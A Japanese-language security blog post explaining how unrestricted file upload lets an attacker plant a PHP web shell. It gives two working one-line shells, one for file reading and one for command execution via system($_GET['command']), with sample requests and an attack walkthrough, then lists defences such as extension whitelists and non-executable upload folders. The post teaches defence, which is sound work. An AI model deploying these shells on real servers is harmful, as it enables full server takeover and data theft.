Shikata Ga Nai

Private? There is no such things.

ファイルアップロード脆弱性を悪用したWebシェル設置:サーバー完全制御の実現

Hello there, ('ω')ノ

✅ 最悪のセキュリティシナリオとは?

Webアプリケーションが以下の2つの条件を満たしている場合、攻撃者にとって理想的な攻撃対象になります:

  1. 任意のスクリプトファイル(PHP, Java, Pythonなど)のアップロードが許可されている
  2. アップロードされたファイルがWebサーバー上で実行可能な場所に保存されている

このような状況では、攻撃者は非常に簡単に 「Webシェル」 を設置できます。


🧨 Webシェルとは?

Webシェル とは、攻撃者がサーバーにアップロードし、 HTTPリクエストを通じてサーバーで任意のコマンドを実行できるスクリプトです。


🔓 Webシェルを使うとできること

機能 内容
📂 任意ファイルの読み取り サーバー上のファイル(設定ファイル、パスワードファイルなど)を取得
✏️ 任意ファイルの作成・書き換え バックドアの設置や改ざんが可能
🧠 任意コマンドの実行 id, ls, whoami, curl, nc など
🕸️ 他サーバーや内部ネットワークへの攻撃 サーバーを踏み台にした内部侵入(ピボット)

💻 代表的なWebシェルのコード例

① ファイル読み取り型

<?php echo file_get_contents('/path/to/target/file'); ?>

📚 使用例:

GET /uploads/shell.php HTTP/1.1

/path/to/target/file の内容がレスポンスに表示される。


② 汎用コマンド実行型

<?php echo system($_GET['command']); ?>

📚 使用例:

GET /uploads/exploit.php?command=id HTTP/1.1

id コマンドが実行され、その結果(例:uid=1000(www-data))が返ってくる。


⚠️ 攻撃の流れ(まとめ)

  1. サーバーに .php Webシェルをアップロード
  2. /uploads/ のようなURLから直接アクセスできる場所に保存される
  3. ブラウザやBurp RepeaterからWebシェルにアクセス
  4. 任意のコマンドやファイルパスをパラメータに渡して実行
  5. 出力結果がレスポンスとして返される

🛑 防御策(必須項目)

対策項目 内容
✅ 拡張子のホワイトリスト .jpg, .png, .pdf など限定された形式のみ許可
✅ MIMEタイプやマジックバイトの検査 ファイルの中身が実際に画像かどうかも検証
✅ 実行不可ディレクトリへの保存 /uploads/ にはPHPなどの実行権限を与えない
✅ ファイル名のランダム化 shell.php のような予測可能なファイル名を使わせない
✅ WAFやAVによるスキャン アップロード時点でマルウェアを検知・ブロック

🎯 まとめ:Webシェルの設置=サーバーの完全侵害

  • ファイルアップロードの検証を甘く見てはいけない!
  • たった1つの .php ファイルのアップロード成功で、サーバーの全権限を奪われることがある
  • Webアプリの防御は、「実行される前」に止めるのが鉄則

「Webシェルが動いた瞬間、サーバーは攻撃者のものになる」 この脅威を理解し、防御を徹底しましょう。

Best regards, (^^ゞ